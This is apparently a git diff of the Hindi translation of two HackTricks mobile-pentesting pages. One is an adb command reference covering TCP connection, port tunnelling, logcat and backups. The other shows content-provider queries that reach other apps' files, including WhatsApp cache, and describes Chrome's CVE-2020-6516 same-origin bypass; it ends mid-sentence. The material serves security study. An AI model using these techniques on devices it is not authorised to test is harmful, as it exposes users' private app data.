[**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके.
diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 0002b9e3f..79a4cb9cc 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,21 +1,19 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग करना है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **या** मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-**Adb सामान्यतः यहां स्थित होता है:** +**Adb आमतौर पर यहाँ स्थित होता है:** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -23,31 +21,33 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` -**प्राप्त की गई जानकारी:** [**http://adbshell.com/**](http://adbshell.com) +**जानकारी प्राप्त की गई:** [**http://adbshell.com/**](http://adbshell.com) # कनेक्शन ``` adb devices ``` -यह संबंधित उपकरणों की सूची बनाएगा; यदि "_**अनधिकृत**_" दिखाई देता है, तो इसका अर्थ है कि आपको अपने **मोबाइल** को **अनब्लॉक** करना होगा और संबंध को **स्वीकार** करना होगा। +यह सूचीबद्ध करेगा कि कौन से उपकरण जुड़े हुए हैं; यदि "_**unathorised**_" दिखाई देता है, इसका मतलब है कि आपको अपने **mobile** को **unblock** करना होगा और कनेक्शन को **accept** करना होगा। -इससे उपकरण को सूचित किया जाता है कि इसे पोर्ट 5555 में adb सर्वर शुरू करना होगा: +यह उपकरण को संकेत देता है कि उसे पोर्ट 5555 पर एक adb सर्वर शुरू करना है: ``` adb tcpip 5555 ``` -उस IP और उस Port से कनेक्ट करें: +उस IP से और उस पोर्ट पर कनेक्ट करें: ``` adb connect : ``` -यदि आपको एक ऐसी त्रुटि मिलती है जैसे कि निम्नलिखित वर्चुअल एंड्रॉइड सॉफ़्टवेयर (जैसे Genymotion) में: +यदि आपको वर्चुअल एंड्रॉइड सॉफ्टवेयर (जैसे कि Genymotion) में निम्नलिखित जैसी त्रुटि मिलती है: ``` adb server version (41) doesn't match this client (36); killing... ``` -यह इसलिए है क्योंकि आप एक अलग संस्करण के साथ एक ADB सर्वर से कनेक्ट करने का प्रयास कर रहे हैं। बस इसका पता लगाने के लिए कोशिश करें कि सॉफ़्टवेयर द्वारा उपयोग किया जा रहा adb बाइनरी को ढूंढें (C:\Program Files\Genymobile\Genymotion पर जाएं और adb.exe के लिए खोजें) +``` +यह इसलिए है क्योंकि आप एक अलग संस्करण के ADB सर्वर से कनेक्ट करने की कोशिश कर रहे हैं। बस सॉफ्टवेयर द्वारा उपयोग किए जा रहे adb बाइनरी को ढूंढने की कोशिश करें (जाएं `C:\Program Files\Genymobile\Genymotion` और adb.exe के लिए खोजें) ## कई उपकरण -जब भी आपके मशीन से **कई उपकरण** जुड़े हों, तो आपको adb कमांड को किसमें चलाना चाहिए उसे **निर्दिष्ट करना होगा**। +जब भी आपको **अपनी मशीन से जुड़े कई उपकरण मिलें** तो आपको **निर्दिष्ट करना होगा कि किस में** आप adb कमांड चलाना चाहते हैं। +``` ```bash adb devices List of devices attached @@ -62,14 +62,14 @@ root ``` ## पोर्ट टनलिंग -यदि एंड्रॉइड डिवाइस में adb पोर्ट केवल localhost से ही पहुंचने योग्य है, लेकिन आपके पास SSH के माध्यम से पहुंच है, तो आप पोर्ट 5555 को फ़ॉरवर्ड कर सकते हैं और adb के माध्यम से कनेक्ट कर सकते हैं: +यदि **adb** **पोर्ट** केवल एंड्रॉइड डिवाइस में **localhost** से **सुलभ** है लेकिन **आपके पास SSH के माध्यम से पहुंच है**, तो आप **पोर्ट 5555 को फॉरवर्ड** कर सकते हैं और adb के माध्यम से कनेक्ट कर सकते हैं: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` -# पैकेट प्रबंधक +# पैकेट मैनेजर -## स्थापित/अनइंस्टॉल +## इंस्टॉल/अनइंस्टॉल ### adb install \[विकल्प] \<पथ> ``` @@ -99,9 +99,7 @@ adb install -d test.apk allow version code downgrade ``` adb install -p test.apk partial application install ``` -### adb uninstall \[विकल्प] \<पैकेज> - -यह adb कमांड एंड्रॉइड डिवाइस से एक पैकेज को हटाने के लिए उपयोग किया जाता है। +### adb uninstall \[विकल्प] \ ``` adb uninstall com.test.app ``` @@ -111,9 +109,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p ``` ## पैकेज -सभी पैकेजों को प्रिंट करता है, वैकल्पिक रूप से केवल उन पैकेजों को जिनका पैकेज नाम \ में टेक्स्ट होता है। +सभी पैकेजों को प्रिंट करता है, वैकल्पिक रूप से केवल उन्हीं पैकेजों को जिनके पैकेज नाम में \ टेक्स्ट होता है। -### adb shell pm list packages \[options] \ +### adb shell pm list packages \[विकल्प] \ ``` adb shell pm list packages ``` @@ -151,41 +149,41 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -दिए गए .apk के पथ को प्रिंट करें। +दिए गए पैकेज के APK का पथ प्रिंट करें। ``` adb shell pm path com.android.phone ``` ### adb shell pm clear \ -एक पैकेज के साथ जुड़े सभी डेटा को हटा दें। +एक पैकेज से जुड़े सभी डेटा को हटाएं। ``` adb shell pm clear com.test.abc ``` -# फ़ाइल प्रबंधक +# फाइल मैनेजर ### adb pull \ \[local] -एक निर्दिष्ट फ़ाइल को एम्युलेटर/डिवाइस से अपने कंप्यूटर में डाउनलोड करें। +एक निर्दिष्ट फाइल को एमुलेटर/डिवाइस से आपके कंप्यूटर पर डाउनलोड करें। ``` adb pull /sdcard/demo.mp4 ./ ``` ### adb push \ \ -अपने कंप्यूटर से एक निर्दिष्ट फ़ाइल को एम्युलेटर/डिवाइस में अपलोड करें। +अपने कंप्यूटर से एक निर्दिष्ट फाइल को एमुलेटर/डिवाइस पर अपलोड करें। ``` adb push test.apk /sdcard ``` # स्क्रीनकैप्चर/स्क्रीनरिकॉर्ड -### adb shell screencap \<फ़ाइलनाम> +### adb shell screencap \ -डिवाइस के डिस्प्ले का स्क्रीनशॉट लेना। +डिवाइस डिस्प्ले का स्क्रीनशॉट लेना। ``` adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[विकल्प] \<फ़ाइलनाम> +### adb shell screenrecord \[विकल्प] \ -एंड्रॉइड 4.4 (API स्तर 19) और उच्चतर संस्करण के उपकरणों की प्रदर्शन रिकॉर्ड करना। +Android 4.4 (API स्तर 19) और उच्चतर चल रहे उपकरणों की डिस्प्ले रिकॉर्डिंग। ``` adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -196,25 +194,25 @@ adb shell screenrecord --verbose ``` (press Ctrl-C to stop recording) -**आप फ़ाइलें (छवियाँ और वीडियो) डाउनलोड कर सकते हैं उपयोग करके adb pull** +**आप फाइल्स (इमेजेस और वीडियोस) डाउनलोड कर सकते हैं इसका उपयोग करके **_**adb pull**_ -# शैल +# Shell ### adb shell -उपकरण के भीतर एक शैल प्राप्त करें +डिवाइस के अंदर एक shell प्राप्त करें ``` adb shell ``` ### adb shell \ -उपकरण के अंदर एक कमांड को निष्पादित करें +डिवाइस के अंदर एक कमांड निष्पादित करें ``` adb shell ls ``` ## pm -निम्नलिखित कमांड शैल में निष्पादित होते हैं। +निम्नलिखित कमांड्स एक शेल के अंदर निष्पादित किए जाते हैं ```bash pm list packages #List installed packages pm path #Get the path to the apk file of tha package @@ -225,7 +223,7 @@ input [text|keyevent] #Send keystrokes to device ``` # प्रक्रियाएँ -यदि आप अपने एप्लिकेशन की प्रक्रिया का पीआईडी प्राप्त करना चाहते हैं, तो आप निम्नलिखित को निष्पादित कर सकते हैं: +यदि आप अपने एप्लिकेशन की प्रक्रिया का PID प्राप्त करना चाहते हैं, तो आप निम्नलिखित कमांड निष्पादित कर सकते हैं: ``` adb shell ps ``` @@ -235,32 +233,32 @@ adb shell ps ``` adb shell pidof com.your.application ``` -और यह ऐप्लिकेशन की पीआईडी प्रिंट करेगा +और यह एप्लिकेशन का PID प्रिंट करेगा # सिस्टम ``` adb root ``` -एडीबीडी डेमन को रूट अनुमतियों के साथ पुनः आरंभ करता है। फिर, आपको एडीबी सर्वर से फिर से कनेक्ट करना होगा और आप रूट हो जाएंगे (यदि उपलब्ध है)। +अब adbd डेमॉन को रूट अनुमतियों के साथ पुनः आरंभ करता है। फिर, आपको ADB सर्वर से फिर से जुड़ना होगा और आप रूट होंगे (यदि उपलब्ध हो)। ``` adb sideload ``` -# लॉग +एंड्रॉइड update.zip पैकेजों को फ्लैशिंग/रिस्टोर करना। -## लॉगकैट +# लॉग्स -केवल एक एप्लिकेशन के संदेशों को फ़िल्टर करने के लिए, एप्लिकेशन का पीआईडी प्राप्त करें और लॉगकैट के आउटपुट को फ़िल्टर करने के लिए grep (लिनक्स/मैकओएस) या findstr (विंडोज) का उपयोग करें: +## Logcat + +**केवल एक एप्लिकेशन के संदेशों को फ़िल्टर करने के लिए**, एप्लिकेशन का PID प्राप्त करें और लॉगकैट के आउटपुट को फ़िल्टर करने के लिए grep (linux/macos) या findstr (windows) का उपयोग करें: ``` adb logcat | grep 4526 adb logcat | findstr 4526 ``` -### adb logcat \[विकल्प] \[फ़िल्टर-निर्देशिका] - -adb logcat कमांड का उपयोग एंड्रॉइड डिवाइस के लॉग को देखने के लिए किया जाता है। यह लॉगकैट डेटा को टर्मिनल पर प्रदर्शित करता है और डिबगिंग और विकास के दौरान मदद करता है। इस कमांड के साथ आप विभिन्न विकल्प और फ़िल्टर-निर्देशिका का उपयोग करके लॉग को विशेषीकृत कर सकते हैं। +### adb logcat \[विकल्प] \[फ़िल्टर-विनिर्देश] ``` adb logcat ``` -नोट: मॉनिटरिंग रोकने के लिए Ctrl-C दबाएं +नोट्स: मॉनिटर को रोकने के लिए Ctrl-C दबाएं। ``` adb logcat *:V lowest priority, filter to only show Verbose level ``` @@ -289,8 +287,6 @@ adb logcat *:F filter to only show Fatal level adb logcat *:S Silent, highest priority, on which nothing is ever printed ``` ### adb logcat -b \ - -एडीबी लॉगकैट -b \ ``` adb logcat -b radio View the buffer that contains radio/telephony related messages. ``` @@ -324,21 +320,21 @@ adb logcat -n Sets the maximum number of rotated logs to . ``` ## dumpsys -सिस्टम डेटा को डंप करता है +सिस्टम डेटा डंप करता है ### adb shell dumpsys \[विकल्प] ``` adb shell dumpsys ``` -एडीबी शेल डंपसिस मेमइनफो +adb shell dumpsys meminfo ``` adb shell dumpsys battery ``` -नोट: एक मोबाइल उपकरण जिसमें डेवलपर विकल्प सक्षम हैं और एंड्रॉइड 5.0 या उच्चतर संस्करण चल रहा है। +नोट्स: एक मोबाइल डिवाइस जिसमें डेवलपर विकल्प सक्षम हो और वह Android 5.0 या उससे ऊपर का संस्करण चला रहा हो। ``` adb shell dumpsys batterystats collects battery data from your device ``` -टिप्पणियाँ: [बैटरी इतिहासकार](https://github.com/google/battery-historian) उस डेटा को एक HTML दृश्यीकरण में परिवर्तित करता है। **चरण 1** _adb shell dumpsys batterystats > batterystats.txt_ **चरण 2** _python historian.py batterystats.txt > batterystats.html_ +नोट्स: [Battery Historian](https://github.com/google/battery-historian) उस डेटा को HTML विज़ुअलाइज़ेशन में परिवर्तित करता है। **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_ ``` adb shell dumpsys batterystats --reset erases old collection data ``` @@ -346,7 +342,7 @@ adb shell dumpsys activity # बैकअप -एडीबी से एक एंड्रॉइड डिवाइस का बैकअप करें। +adb से एक एंड्रॉइड डिवाइस का बैकअप लें। ```bash adb backup [-apk] [-shared] [-system] [-all] -f file.backup # -apk -- Include APK from Third partie's applications @@ -358,22 +354,20 @@ adb shell pm list packages -f -3 #List packages adb backup -f myapp_backup.ab -apk com.myapp # backup on one device adb restore myapp_backup.ab # restore to the same or any other device ``` -यदि आप बैकअप की सामग्री की जांच करना चाहते हैं: +यदि आप बैकअप की सामग्री का निरीक्षण करना चाहते हैं: ```bash ( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz - ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण देखना है या HackTricks को PDF में डाउनलोड करना है**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके। +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
diff --git a/mobile-pentesting/android-app-pentesting/content-protocol.md b/mobile-pentesting/android-app-pentesting/content-protocol.md index 213ac4499..7dc250532 100644 --- a/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,31 +1,29 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें**. +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-कंटेंट प्रोवाइडर्स के साथ प्रयोग करने के लिए, एंड्रॉइड डिवाइस पर `content` कमांड का उपयोग किया जा सकता है। रूट एक्सेस आवश्यक नहीं है। उदाहरण के लिए, मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों की सूची देखने के लिए, निम्नलिखित कमांड को निष्पादित किया जा सकता है: +कंटेंट प्रोवाइडर्स के साथ प्रयोग करने के लिए, कोई `content` कमांड का उपयोग Android डिवाइसेस पर कर सकता है। रूट एक्सेस आवश्यक नहीं है। उदाहरण के लिए, Media Store द्वारा प्रबंधित फाइलों की सूची देखने के लिए, कोई निम्नलिखित कमांड निष्पादित कर सकता है: ```bash $ content query --uri content://media/external/file ``` -आउटपुट को और मानव-मित्र बनाने के लिए, हर इंडेक्स फ़ाइल की पहचानकर्ता और पथ को प्रदर्शित करने के लिए स्तम्भों की संख्या पर सीमा लगा सकते हैं। +आउटपुट को अधिक मानव-अनुकूल बनाने के लिए, प्रत्येक इंडेक्स की गई फाइल के पहचानकर्ता और पथ को प्रदर्शित करने वाले कॉलम्स को सीमित किया जा सकता है। ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -मीडिया प्रदाताओं का अपना निजी नेमस्पेस होता है। उपरोक्त उदाहरण में दिखाया गया है कि कंटेंट प्रोवाइडर तक पहुंचने के लिए संबंधित `content://` URI को निर्दिष्ट किया जाना चाहिए। सामान्यतः, प्रदाता तक पहुंच के लिए पथों पर जानकारी, एप्लिकेशन मेनिफेस्ट (यदि कंटेंट प्रोवाइडर एक एप्लिकेशन द्वारा निर्यात की जाती है) या Android फ्रेमवर्क के स्रोत कोड की जांच करके प्राप्त की जा सकती है। +मीडिया प्रोवाइडर्स अपने निजी नामस्थान में मौजूद होते हैं। ऊपर दिए गए उदाहरण में दिखाया गया है, किसी कंटेंट प्रोवाइडर तक पहुंचने के लिए संबंधित `content://` URI को निर्दिष्ट करना चाहिए। आम तौर पर, प्रोवाइडर तक पहुंचने के पथों की जानकारी, एप्लिकेशन मेनिफेस्ट्स को देखकर प्राप्त की जा सकती है (यदि कंटेंट प्रोवाइडर किसी एप्लिकेशन द्वारा निर्यात किया गया हो) या एंड्रॉइड फ्रेमवर्क के सोर्स कोड को देखकर। -दिलचस्प बात यह है कि Android उपकरणों पर Chrome `content://` स्कीम के माध्यम से कंटेंट प्रोवाइडर तक पहुंच का समर्थन करता है। यह सुविधा ब्राउज़र को तृतीय पक्ष एप्लिकेशन द्वारा निर्यात की गई संसाधनों (जैसे फ़ोटो, दस्तावेज़ आदि) तक पहुंच देती है। इसे सत्यापित करने के लिए, कोई भी व्यक्तिगत प्रविष्टि मीडिया स्टोर में डाली जा सकती है और फिर उसे ब्राउज़र का उपयोग करके एक्सेस किया जा सकता है: +रोचक बात यह है कि, एंड्रॉइड डिवाइसेस पर क्रोम `content://` स्कीम के माध्यम से कंटेंट प्रोवाइडर्स तक पहुंचने का समर्थन करता है। यह सुविधा ब्राउज़र को तृतीय-पक्ष एप्लिकेशन्स द्वारा निर्यात किए गए संसाधनों (जैसे फोटो, दस्तावेज़ आदि) तक पहुंचने की अनुमति देती है। इसकी पुष्टि करने के लिए, कोई व्यक्ति मीडिया स्टोर में एक कस्टम प्रविष्टि डाल सकता है और फिर उसे ब्राउज़र का उपयोग करके एक्सेस कर सकता है: ```bash $ cd /sdcard $ echo "Hello, world!" > test.txt @@ -33,13 +31,13 @@ $ content insert --uri content://media/external/file \ --bind _data:s:/storage/emulated/0/test.txt \ --bind mime_type:s:text/plain ``` -नवीनतम डाली गई फ़ाइल की पहचानकर्ता खोजने के लिए: +नई डाली गई फाइल के पहचानकर्ता को खोजने के लिए: ```bash $ content query --uri content://media/external/file \ --projection _id,_data | grep test.txt Row: 283 _id=747, _data=/storage/emulated/0/test.txt ``` -और वास्तव में फ़ाइल को क्रोम में देखने के लिए, व्यक्ति एक URL का उपयोग कर सकता है जैसा कि निम्न चित्र में दिखाया गया है। ध्यान दें URL में उपयोग किए जाने वाले फ़ाइल पहचानकर्ता 747 (पहले खोजा गया) है जो URL में संकेतक के रूप में उपयोग किया जाता है। +और Chrome में फ़ाइल को वास्तव में देखने के लिए, निम्नलिखित चित्र में दिखाए गए URL का उपयोग कर सकते हैं। फ़ाइल पहचानकर्ता 747 (ऊपर खोजा गया) पर ध्यान दें जिसका उपयोग URL में एक प्रत्यय के रूप में किया जाता है। ![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png) @@ -59,19 +57,19 @@ Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSes ``` ## Chrome CVE-2020-6516 Same-Origin-Policy बाईपास -ब्राउज़र में _समान मूल नीति_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] यह निर्धारित करती है कि URL A की जावास्क्रिप्ट सामग्री केवल URL B की सामग्री तक ही पहुंच सकेगी अगर A और B के लिए निम्नलिखित URL गुण समान रहें: +_Same Origin Policy_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] ब्राउज़र्स में यह नियम बताता है कि URL A की Javascript सामग्री केवल URL B की सामग्री तक पहुँच सकती है अगर A और B के लिए निम्नलिखित URL विशेषताएँ समान रहें: -* प्रोटोकॉल जैसे `https` vs. `http` -* डोमेन जैसे `www.example1.com` vs. `www.example2.com` -* पोर्ट जैसे `www.example1.com:8080` vs. `www.example1.com:8443` +* प्रोटोकॉल जैसे कि `https` बनाम `http` +* डोमेन जैसे कि `www.example1.com` बनाम `www.example2.com` +* पोर्ट जैसे कि `www.example1.com:8080` बनाम `www.example1.com:8443` -बेशक, इन नियमों के लिए छूट होती हैं, लेकिन सामान्यतः, `https://www.example1.com` से आयातित संसाधन (जैसे जावास्क्रिप्ट कोड) `https://www.example2.com` के DOM तक पहुंच नहीं पा सकता है, क्योंकि इससे गंभीर जानकारी लीक हो सकती है। **यदि क्रॉस-मूल-संसाधन-साझाकरण (CORS) नीति इसे व्यक्तिगत रूप से अनुमति देती है, तो वेब संसाधन को SOP नियमों को दुर्भाग्यपूर्ण रूप से दूर करना संभव नहीं होना चाहिए।** +बेशक, उपरोक्त नियमों के अपवाद हैं, लेकिन सामान्यतः, `https://www.example1.com` से एक संसाधन (जैसे कि Javascript कोड) `https://www.example2.com` पर संसाधन के DOM तक पहुँच नहीं सकता, क्योंकि इससे गंभीर सूचना लीक हो सकती है। **जब तक कि Cross-Origin-Resource-Sharing (CORS) नीति स्पष्ट रूप से अनुमति न दे, वेब संसाधन के लिए SOP नियमों को बाईपास करना संभव नहीं होना चाहिए।** -महत्वपूर्ण यह है कि Chrome `content://` को _स्थानीय योजना_ के रूप में मानता है, जैसे `file://`। इस मामले में SOP नियम और भी सख्त होते हैं, क्योंकि प्रत्येक स्थानीय योजना URL को अलग मूल माना जाता है। उदाहरण के लिए, **file:///tmp/test.html** में से चल रहे जावास्क्रिप्ट कोड को **file:///tmp/test2.html** की सामग्री तक पहुंच नहीं होनी चाहिए, या फिर फ़ाइल सिस्टम पर किसी भी अन्य फ़ाइल तक। **इस प्रकार, SOP नियमों के अनुसार, `content://` के माध्यम से लोड किए गए संसाधन कोई भी अन्य `content://` संसाधन तक पहुंच नहीं होनी चाहिए।** अच्छा, Chrome की CVE-2020-6516 ने इस नियम को "छोड़" दिया है। +यह ध्यान देना महत्वपूर्ण है कि Chrome `content://` को _local scheme_ मानता है, जैसे कि `file://`। इस मामले में SOP नियम और भी सख्त होते हैं, क्योंकि प्रत्येक local scheme URL को एक अलग origin माना जाता है। उदाहरण के लिए, **file:///tmp/test.html** में Javascript कोड **file:///tmp/test2.html** की सामग्री तक पहुँचने में सक्षम नहीं होना चाहिए, या उस मामले में फाइल सिस्टम पर कोई अन्य फाइल। **नतीजतन, SOP नियमों के अनुसार, `content://` के माध्यम से लोड किया गया संसाधन किसी अन्य `content://` संसाधन तक पहुँचने में सक्षम नहीं होना चाहिए।** खैर, Chrome की भेद्यता CVE-2020-6516 ने इस नियम का "अपवाद" बनाया। -CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] `content://` URL के माध्यम से लोड किए गए संसाधनों पर SOP बाईपास है। **उदाहरण के लिए, `content://com.example.provider/test.html` से चल रहे HTML दस्तावेज़ के संदर्भ में चल रहा जावास्क्रिप्ट कोड किसी भी अन्य `content://` URL को लोड और पहुंच सकता है।** यह एक गंभीर सुरक्षा दुर्बलता है, विशेष रूप से Android 9 या पिछले संस्करणों के उपकरणों पर चल रहे। इन उपकरणों पर सीमित संग्रहण \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] को लागू नहीं किया गया है और, परिणामस्वरूप, सिस्टम के मीडिया स्टोर सामग्री प्रदाता के माध्यम से **/sdcard** के तहत अनुप्रयोग-विशिष्ट डेटा और और अधिक महत्वपूर्ण रूप से **/sdcard/Android** के तहत डेटा तक पहुंच की जा सकती है। +CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] एक SOP बाईपास है जो `content://` URL के माध्यम से लोड किए गए संसाधनों पर होता है। **उदाहरण के लिए, `content://com.example.provider/test.html` से लोड किए गए HTML दस्तावेज़ के संदर्भ में चल रहे Javascript कोड, किसी भी अन्य `content://` URL के माध्यम से लोड किए गए संसाधन को लोड और पहुँच सकते हैं।** यह एक 